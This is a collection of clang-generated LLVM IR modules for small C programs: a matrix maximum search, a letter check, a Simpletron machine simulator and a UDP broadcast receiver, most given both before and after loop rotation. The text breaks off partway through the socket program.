; ModuleID = '/tmp/tmpkkdi44sw.c' source_filename = "/tmp/tmpkkdi44sw.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [3 x i8] c"%d\00", align 1 @.str.1 = private unnamed_addr constant [20 x i8] c"K %d\0ALin %d\0ACol %d\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca i32, align 4 %3 = alloca i32, align 4 %4 = alloca [3 x [3 x i32]], align 16 %5 = alloca i32, align 4 %6 = alloca i32, align 4 %7 = alloca i32, align 4 %8 = alloca i32, align 4 store i32 0, ptr %1, align 4 store i32 3, ptr %5, align 4 store i32 0, ptr %6, align 4 store i32 0, ptr %3, align 4 br label %9 9: ; preds = %28, %0 %10 = load i32, ptr %3, align 4 %11 = icmp slt i32 %10, 3 br i1 %11, label %12, label %31 12: ; preds = %9 store i32 0, ptr %2, align 4 br label %13 13: ; preds = %24, %12 %14 = load i32, ptr %2, align 4 %15 = icmp slt i32 %14, 3 br i1 %15, label %16, label %27 16: ; preds = %13 %17 = load i32, ptr %3, align 4 %18 = sext i32 %17 to i64 %19 = getelementptr inbounds [3 x [3 x i32]], ptr %4, i64 0, i64 %18 %20 = load i32, ptr %2, align 4 %21 = sext i32 %20 to i64 %22 = getelementptr inbounds [3 x i32], ptr %19, i64 0, i64 %21 %23 = call i32 @scanf(ptr noundef @.str, ptr noundef %22) br label %24 24: ; preds = %16 %25 = load i32, ptr %2, align 4 %26 = add nsw i32 %25, 1 store i32 %26, ptr %2, align 4 br label %13, !llvm.loop !6 27: ; preds = %13 br label %28 28: ; preds = %27 %29 = load i32, ptr %3, align 4 %30 = add nsw i32 %29, 1 store i32 %30, ptr %3, align 4 br label %9, !llvm.loop !8 31: ; preds = %9 %32 = getelementptr inbounds [3 x [3 x i32]], ptr %4, i64 0, i64 0 %33 = load i32, ptr %5, align 4 %34 = call i32 @retorna_maior(ptr noundef %32, i32 noundef %33, ptr noundef %6, ptr noundef %7, ptr noundef %8) %35 = load i32, ptr %6, align 4 %36 = load i32, ptr %7, align 4 %37 = load i32, ptr %8, align 4 %38 = call i32 @printf(ptr noundef @.str.1, i32 noundef %35, i32 noundef %36, i32 noundef %37) ret i32 0 } declare i32 @scanf(ptr noundef, ptr noundef) #1 declare i32 @retorna_maior(ptr noundef, i32 noundef, ptr noundef, ptr noundef, ptr noundef) #1 declare i32 @printf(ptr noundef, i32 noundef, i32 noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"} !8 = distinct !{!8, !7}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpkkdi44sw.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [3 x i8] c"%d\00", align 1 @.str.1 = private unnamed_addr constant [20 x i8] c"K %d\0ALin %d\0ACol %d\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca i32, align 4 %3 = alloca i32, align 4 %4 = alloca [3 x [3 x i32]], align 16 %5 = alloca i32, align 4 %6 = alloca i32, align 4 %7 = alloca i32, align 4 %8 = alloca i32, align 4 store i32 0, ptr %1, align 4 store i32 3, ptr %5, align 4 store i32 0, ptr %6, align 4 store i32 0, ptr %3, align 4 %9 = load i32, ptr %3, align 4 %10 = icmp slt i32 %9, 3 br i1 %10, label %.lr.ph2, label %33 .lr.ph2: ; preds = %0 br label %11 11: ; preds = %.lr.ph2, %28 store i32 0, ptr %2, align 4 %12 = load i32, ptr %2, align 4 %13 = icmp slt i32 %12, 3 br i1 %13, label %.lr.ph, label %27 .lr.ph: ; preds = %11 br label %14 14: ; preds = %.lr.ph, %22 %15 = load i32, ptr %3, align 4 %16 = sext i32 %15 to i64 %17 = getelementptr inbounds [3 x [3 x i32]], ptr %4, i64 0, i64 %16 %18 = load i32, ptr %2, align 4 %19 = sext i32 %18 to i64 %20 = getelementptr inbounds [3 x i32], ptr %17, i64 0, i64 %19 %21 = call i32 @scanf(ptr noundef @.str, ptr noundef %20) br label %22 22: ; preds = %14 %23 = load i32, ptr %2, align 4 %24 = add nsw i32 %23, 1 store i32 %24, ptr %2, align 4 %25 = load i32, ptr %2, align 4 %26 = icmp slt i32 %25, 3 br i1 %26, label %14, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds = %22 br label %27 27: ; preds = %._crit_edge, %11 br label %28 28: ; preds = %27 %29 = load i32, ptr %3, align 4 %30 = add nsw i32 %29, 1 store i32 %30, ptr %3, align 4 %31 = load i32, ptr %3, align 4 %32 = icmp slt i32 %31, 3 br i1 %32, label %11, label %._crit_edge3, !llvm.loop !8 ._crit_edge3: ; preds = %28 br label %33 33: ; preds = %._crit_edge3, %0 %34 = getelementptr inbounds [3 x [3 x i32]], ptr %4, i64 0, i64 0 %35 = load i32, ptr %5, align 4 %36 = call i32 @retorna_maior(ptr noundef %34, i32 noundef %35, ptr noundef %6, ptr noundef %7, ptr noundef %8) %37 = load i32, ptr %6, align 4 %38 = load i32, ptr %7, align 4 %39 = load i32, ptr %8, align 4 %40 = call i32 @printf(ptr noundef @.str.1, i32 noundef %37, i32 noundef %38, i32 noundef %39) ret i32 0 } declare i32 @scanf(ptr noundef, ptr noundef) #1 declare i32 @retorna_maior(ptr noundef, i32 noundef, ptr noundef, ptr noundef, ptr noundef) #1 declare i32 @printf(ptr noundef, i32 noundef, i32 noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"} !8 = distinct !{!8, !7}
; ModuleID = '/tmp/tmpwjgumwag.c' source_filename = "/tmp/tmpwjgumwag.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [16 x i8] c"a is a letter.\0A\00", align 1 @.str.1 = private unnamed_addr constant [20 x i8] c"a is not a letter.\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @seven(ptr noundef %0) #0 { %2 = alloca ptr, align 8 %3 = alloca i8, align 1 store ptr %0, ptr %2, align 8 %4 = load ptr, ptr %2, align 8 %5 = load i8, ptr %4, align 1 store i8 %5, ptr %3, align 1 %6 = load i8, ptr %3, align 1 %7 = sext i8 %6 to i32 %8 = icmp sge i32 %7, 65 br i1 %8, label %9, label %13 9: ; preds = %1 %10 = load i8, ptr %3, align 1 %11 = sext i8 %10 to i32 %12 = icmp sle i32 %11, 90 br i1 %12, label %21, label %13 13: ; preds = %9, %1 %14 = load i8, ptr %3, align 1 %15 = sext i8 %14 to i32 %16 = icmp sge i32 %15, 97 br i1 %16, label %17, label %23 17: ; preds = %13 %18 = load i8, ptr %3, align 1 %19 = sext i8 %18 to i32 %20 = icmp sle i32 %19, 122 br i1 %20, label %21, label %23 21: ; preds = %17, %9 %22 = call i32 @printf(ptr noundef @.str) br label %25 23: ; preds = %17, %13 %24 = call i32 @printf(ptr noundef @.str.1) br label %25 25: ; preds = %23, %21 ret void } declare i32 @printf(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpwjgumwag.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [16 x i8] c"a is a letter.\0A\00", align 1 @.str.1 = private unnamed_addr constant [20 x i8] c"a is not a letter.\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @seven(ptr noundef %0) #0 { %2 = alloca ptr, align 8 %3 = alloca i8, align 1 store ptr %0, ptr %2, align 8 %4 = load ptr, ptr %2, align 8 %5 = load i8, ptr %4, align 1 store i8 %5, ptr %3, align 1 %6 = load i8, ptr %3, align 1 %7 = sext i8 %6 to i32 %8 = icmp sge i32 %7, 65 br i1 %8, label %9, label %13 9: ; preds = %1 %10 = load i8, ptr %3, align 1 %11 = sext i8 %10 to i32 %12 = icmp sle i32 %11, 90 br i1 %12, label %21, label %13 13: ; preds = %9, %1 %14 = load i8, ptr %3, align 1 %15 = sext i8 %14 to i32 %16 = icmp sge i32 %15, 97 br i1 %16, label %17, label %23 17: ; preds = %13 %18 = load i8, ptr %3, align 1 %19 = sext i8 %18 to i32 %20 = icmp sle i32 %19, 122 br i1 %20, label %21, label %23 21: ; preds = %17, %9 %22 = call i32 @printf(ptr noundef @.str) br label %25 23: ; preds = %17, %13 %24 = call i32 @printf(ptr noundef @.str.1) br label %25 25: ; preds = %23, %21 ret void } declare i32 @printf(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpbjcarjif.c' source_filename = "/tmp/tmpbjcarjif.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpbjcarjif.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpbzc8ig7s.c' source_filename = "/tmp/tmpbzc8ig7s.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [51 x i8] c"*** Simpletron execution abnormally terminated ***\00", align 1 @.str.1 = private unnamed_addr constant [12 x i8] c"bootMsg.txt\00", align 1 @.str.2 = private unnamed_addr constant [2 x i8] c"r\00", align 1 @.str.3 = private unnamed_addr constant [9 x i8] c"%s %s %s\00", align 1 @.str.4 = private unnamed_addr constant [5 x i8] c"*** \00", align 1 @.str.5 = private unnamed_addr constant [14 x i8] c"not found ***\00", align 1 @.str.6 = private unnamed_addr constant [3 x i8] c"%s\00", align 1 @.str.7 = private unnamed_addr constant [1 x i8] zeroinitializer, align 1 @.str.8 = private unnamed_addr constant [28 x i8] c"Run in Debug Mode(type Y)? \00", align 1 @.str.9 = private unnamed_addr constant [7 x i8] c"%1[Yy]\00", align 1 @.str.10 = private unnamed_addr constant [32 x i8] c"Now you are in debug mode YHEA!\00", align 1 @.str.11 = private unnamed_addr constant [3 x i8] c"%c\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca ptr, align 8 %3 = alloca [100 x i32], align 16 %4 = alloca ptr, align 8 %5 = alloca ptr, align 8 %6 = alloca i32, align 4 %7 = alloca i32, align 4 %8 = alloca i32, align 4 %9 = alloca i32, align 4 %10 = alloca i32, align 4 %11 = alloca i32, align 4 store i32 0, ptr %1, align 4 call void @llvm.memset.p0.i64(ptr align 16 %3, i8 0, i64 400, i1 false) store ptr @.str, ptr %4, align 8 store i32 0, ptr %6, align 4 store i32 0, ptr %7, align 4 store i32 0, ptr %8, align 4 store i32 0, ptr %9, align 4 store i32 0, ptr %10, align 4 %12 = call ptr @fopen(ptr noundef @.str.1, ptr noundef @.str.2) store ptr %12, ptr %2, align 8 %13 = icmp eq ptr %12, null br i1 %13, label %14, label %18 14: ; preds = %0 %15 = load ptr, ptr %4, align 8 %16 = call i32 @puts(ptr noundef %15) %17 = call i32 (ptr, ptr, ...) @printf(ptr noundef @.str.3, ptr noundef @.str.4, ptr noundef @.str.1, ptr noundef @.str.5) br label %58 18: ; preds = %0 %19 = call ptr @calloc(i32 noundef 80, i32 noundef 1) store ptr %19, ptr %5, align 8 br label %20 20: ; preds = %25, %18 %21 = load ptr, ptr %2, align 8 %22 = call i32 @feof(ptr noundef %21) %23 = icmp ne i32 %22, 0 %24 = xor i1 %23, true br i1 %24, label %25, label %31 25: ; preds = %20 %26 = load ptr, ptr %5, align 8 %27 = load ptr, ptr %2, align 8 %28 = call i32 @fgets(ptr noundef %26, i32 noundef 80, ptr noundef %27) %29 = load ptr, ptr %5, align 8 %30 = call i32 (ptr, ptr, ...) @printf(ptr noundef @.str.6, ptr noundef %29) br label %20, !llvm.loop !6 31: ; preds = %20 %32 = call i32 @puts(ptr noundef @.str.7) %33 = call i32 @puts(ptr noundef @.str.7) %34 = call i32 (ptr, ptr, ...) @printf(ptr noundef @.str.6, ptr noundef @.str.8) %35 = load ptr, ptr %5, align 8 %36 = call i32 @scanf(ptr noundef @.str.9, ptr noundef %35) store i32 %36, ptr %11, align 4 %37 = icmp eq i32 %36, 1 br i1 %37, label %38, label %40 38: ; preds = %31 %39 = call i32 @puts(ptr noundef @.str.10) br label %44 40: ; preds = %31 %41 = load ptr, ptr %5, align 8 %42 = call i32 @scanf(ptr noundef @.str.11, ptr noundef %41) %43 = call i32 @puts(ptr noundef @.str.7) br label %44 44: ; preds = %40, %38 %45 = load ptr, ptr %5, align 8 %46 = call i32 @free(ptr noundef %45) %47 = getelementptr inbounds [100 x i32], ptr %3, i64 0, i64 0 %48 = load i32, ptr %10, align 4 %49 = call i32 @load(ptr noundef %47, i32 noundef %48) %50 = getelementptr inbounds [100 x i32], ptr %3, i64 0, i64 0 %51 = load i32, ptr %11, align 4 %52 = call i64 @execute(ptr noundef %50, ptr noundef %6, ptr noundef %7, ptr noundef %8, ptr noundef %9, ptr noundef %10, i32 noundef %51) %53 = icmp eq i64 0, %52 br i1 %53, label %54, label %57 54: ; preds = %44 %55 = getelementptr inbounds [100 x i32], ptr %3, i64 0, i64 0 %56 = call i32 @debug(ptr noundef %55, ptr noundef %6, ptr noundef %7, ptr noundef %8, ptr noundef %9, ptr noundef %10) br label %57 57: ; preds = %54, %44 br label %58 58: ; preds = %57, %14 ret i32 0 } ; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: write) declare void @llvm.memset.p0.i64(ptr nocapture writeonly, i8, i64, i1 immarg) #1 declare ptr @fopen(ptr noundef, ptr noundef) #2 declare i32 @puts(ptr noundef) #2 declare i32 @printf(ptr noundef, ptr noundef, ...) #2 declare ptr @calloc(i32 noundef, i32 noundef) #2 declare i32 @feof(ptr noundef) #2 declare i32 @fgets(ptr noundef, i32 noundef, ptr noundef) #2 declare i32 @scanf(ptr noundef, ptr noundef) #2 declare i32 @free(ptr noundef) #2 declare i32 @load(ptr noundef, i32 noundef) #2 declare i64 @execute(ptr noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef, i32 noundef) #2 declare i32 @debug(ptr noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef) #2 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { nocallback nofree nounwind willreturn memory(argmem: write) } attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpbzc8ig7s.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [51 x i8] c"*** Simpletron execution abnormally terminated ***\00", align 1 @.str.1 = private unnamed_addr constant [12 x i8] c"bootMsg.txt\00", align 1 @.str.2 = private unnamed_addr constant [2 x i8] c"r\00", align 1 @.str.3 = private unnamed_addr constant [9 x i8] c"%s %s %s\00", align 1 @.str.4 = private unnamed_addr constant [5 x i8] c"*** \00", align 1 @.str.5 = private unnamed_addr constant [14 x i8] c"not found ***\00", align 1 @.str.6 = private unnamed_addr constant [3 x i8] c"%s\00", align 1 @.str.7 = private unnamed_addr constant [1 x i8] zeroinitializer, align 1 @.str.8 = private unnamed_addr constant [28 x i8] c"Run in Debug Mode(type Y)? \00", align 1 @.str.9 = private unnamed_addr constant [7 x i8] c"%1[Yy]\00", align 1 @.str.10 = private unnamed_addr constant [32 x i8] c"Now you are in debug mode YHEA!\00", align 1 @.str.11 = private unnamed_addr constant [3 x i8] c"%c\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca ptr, align 8 %3 = alloca [100 x i32], align 16 %4 = alloca ptr, align 8 %5 = alloca ptr, align 8 %6 = alloca i32, align 4 %7 = alloca i32, align 4 %8 = alloca i32, align 4 %9 = alloca i32, align 4 %10 = alloca i32, align 4 %11 = alloca i32, align 4 store i32 0, ptr %1, align 4 call void @llvm.memset.p0.i64(ptr align 16 %3, i8 0, i64 400, i1 false) store ptr @.str, ptr %4, align 8 store i32 0, ptr %6, align 4 store i32 0, ptr %7, align 4 store i32 0, ptr %8, align 4 store i32 0, ptr %9, align 4 store i32 0, ptr %10, align 4 %12 = call ptr @fopen(ptr noundef @.str.1, ptr noundef @.str.2) store ptr %12, ptr %2, align 8 %13 = icmp eq ptr %12, null br i1 %13, label %14, label %18 14: ; preds = %0 %15 = load ptr, ptr %4, align 8 %16 = call i32 @puts(ptr noundef %15) %17 = call i32 (ptr, ptr, ...) @printf(ptr noundef @.str.3, ptr noundef @.str.4, ptr noundef @.str.1, ptr noundef @.str.5) br label %61 18: ; preds = %0 %19 = call ptr @calloc(i32 noundef 80, i32 noundef 1) store ptr %19, ptr %5, align 8 %20 = load ptr, ptr %2, align 8 %21 = call i32 @feof(ptr noundef %20) %22 = icmp ne i32 %21, 0 %23 = xor i1 %22, true br i1 %23, label %.lr.ph, label %34 .lr.ph: ; preds = %18 br label %24 24: ; preds = %.lr.ph, %24 %25 = load ptr, ptr %5, align 8 %26 = load ptr, ptr %2, align 8 %27 = call i32 @fgets(ptr noundef %25, i32 noundef 80, ptr noundef %26) %28 = load ptr, ptr %5, align 8 %29 = call i32 (ptr, ptr, ...) @printf(ptr noundef @.str.6, ptr noundef %28) %30 = load ptr, ptr %2, align 8 %31 = call i32 @feof(ptr noundef %30) %32 = icmp ne i32 %31, 0 %33 = xor i1 %32, true br i1 %33, label %24, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds = %24 br label %34 34: ; preds = %._crit_edge, %18 %35 = call i32 @puts(ptr noundef @.str.7) %36 = call i32 @puts(ptr noundef @.str.7) %37 = call i32 (ptr, ptr, ...) @printf(ptr noundef @.str.6, ptr noundef @.str.8) %38 = load ptr, ptr %5, align 8 %39 = call i32 @scanf(ptr noundef @.str.9, ptr noundef %38) store i32 %39, ptr %11, align 4 %40 = icmp eq i32 %39, 1 br i1 %40, label %41, label %43 41: ; preds = %34 %42 = call i32 @puts(ptr noundef @.str.10) br label %47 43: ; preds = %34 %44 = load ptr, ptr %5, align 8 %45 = call i32 @scanf(ptr noundef @.str.11, ptr noundef %44) %46 = call i32 @puts(ptr noundef @.str.7) br label %47 47: ; preds = %43, %41 %48 = load ptr, ptr %5, align 8 %49 = call i32 @free(ptr noundef %48) %50 = getelementptr inbounds [100 x i32], ptr %3, i64 0, i64 0 %51 = load i32, ptr %10, align 4 %52 = call i32 @load(ptr noundef %50, i32 noundef %51) %53 = getelementptr inbounds [100 x i32], ptr %3, i64 0, i64 0 %54 = load i32, ptr %11, align 4 %55 = call i64 @execute(ptr noundef %53, ptr noundef %6, ptr noundef %7, ptr noundef %8, ptr noundef %9, ptr noundef %10, i32 noundef %54) %56 = icmp eq i64 0, %55 br i1 %56, label %57, label %60 57: ; preds = %47 %58 = getelementptr inbounds [100 x i32], ptr %3, i64 0, i64 0 %59 = call i32 @debug(ptr noundef %58, ptr noundef %6, ptr noundef %7, ptr noundef %8, ptr noundef %9, ptr noundef %10) br label %60 60: ; preds = %57, %47 br label %61 61: ; preds = %60, %14 ret i32 0 } ; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: write) declare void @llvm.memset.p0.i64(ptr nocapture writeonly, i8, i64, i1 immarg) #1 declare ptr @fopen(ptr noundef, ptr noundef) #2 declare i32 @puts(ptr noundef) #2 declare i32 @printf(ptr noundef, ptr noundef, ...) #2 declare ptr @calloc(i32 noundef, i32 noundef) #2 declare i32 @feof(ptr noundef) #2 declare i32 @fgets(ptr noundef, i32 noundef, ptr noundef) #2 declare i32 @scanf(ptr noundef, ptr noundef) #2 declare i32 @free(ptr noundef) #2 declare i32 @load(ptr noundef, i32 noundef) #2 declare i64 @execute(ptr noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef, i32 noundef) #2 declare i32 @debug(ptr noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef) #2 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { nocallback nofree nounwind willreturn memory(argmem: write) } attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '/tmp/tmp6yo4j01x.c' source_filename = "/tmp/tmp6yo4j01x.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" %struct.sockaddr_in = type { i32, i32, i32 } @PF_INET = dso_local global i32 0, align 4 @SOCK_DGRAM = dso_local global i32 0, align 4 @stderr = dso_local global i32 0, align 4 @.str = private unnamed_addr constant [16 x i8] c"[%s][%d] %s %s\0A\00", align 1 @.str.1 = private unnamed_addr constant [149 x i8] c"/scratch/repos/new/home/jordi_armengol_estape/c-scraper/outputs/2022-01-22/02-19-57/repos/drsin/linuxCoreLearn/refs/heads/master/apue/day13/bcastr.c\00", align 1 @.str.2 = private unnamed_addr constant [7 x i8] c"socket\00", align 1 @errno = dso_local global i32 0, align 4 @EXIT_FAILURE = dso_local global i32 0, align 4 @SOL_SOCKET = dso_local global i32 0, align 4 @SO_REUSEADDR = dso_local global i32 0, align 4 @AF_INET = dso_local global i32 0, align 4 @.str.3 = private unnamed_addr constant [14 x i8] c"192.168.0.255\00", align 1 @.str.4 = private unnamed_addr constant [5 x i8] c"bind\00", align 1 @.str.5 = private unnamed_addr constant [11 x i8] c"%s:buf=%s\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca i32, align 4 %3 = alloca [1024 x i8], align 16 %4 = alloca %struct.sockaddr_in, align 4 %5 = alloca %struct.sockaddr_in, align 4 %6 = alloca i32, align 4 %7 = alloca i32, align 4 store i32 0, ptr %1, align 4 call void @llvm.memset.p0.i64(ptr align 16 %3, i8 0, i64 1024, i1 false) call void @llvm.memset.p0.i64(ptr align 4 %4, i8 0, i64 12, i1 false) call void @llvm.memset.p0.i64(ptr align 4 %5, i8 0, i64 12, i1 false) %8 = load i32, ptr @PF_INET, align 4 %9 = load i32, ptr @SOCK_DGRAM, align 4 %10 = call i32 @socket(i32 noundef %8, i32 noundef %9, i32 noundef 0) store i32 %10, ptr %2, align 4 %11 = icmp eq i32 %10, -1 br i1 %11, label %12, label %21 12: ; preds = %0 br label %13 13: ; preds = %12 %14 = load i32, ptr @stderr, align 4 %15 = load i32, ptr @errno, align 4 %16 = call ptr @strerror(i32 noundef %15) %17 = call i32 @fprintf(i32 noundef %14, ptr noundef @.str, ptr noundef @.str.1, i32 noundef 26, ptr noundef @.str.2, ptr noundef %16) %18 = load i32, ptr @EXIT_FAILURE, align 4 %19 = call i32 @exit(i32 noundef %18) #4 unreachable 20: ; No predecessors! br label %21 21: ; preds = %20, %0 store i32 1, ptr %6, align 4 %22 = load i32, ptr %2, align 4 %23 = load i32, ptr @SOL_SOCKET, align 4 %24 = load i32, ptr @SO_REUSEADDR, align 4 %25 = call i32 @setsockopt(i32 noundef %22, i32 noundef %23, i32 noundef %24, ptr noundef %6, i32 noundef 4) %26 = load i32, ptr @AF_INET, align 4 %27 = getelementptr inbounds %struct.sockaddr_in, ptr %4, i32 0, i32 2 store i32 %26, ptr %27, align 4 %28 = call i32 @htons(i32 noundef 9898) %29 = getelementptr inbounds %struct.sockaddr_in, ptr %4, i32 0, i32 1 store i32 %28, ptr %29, align 4 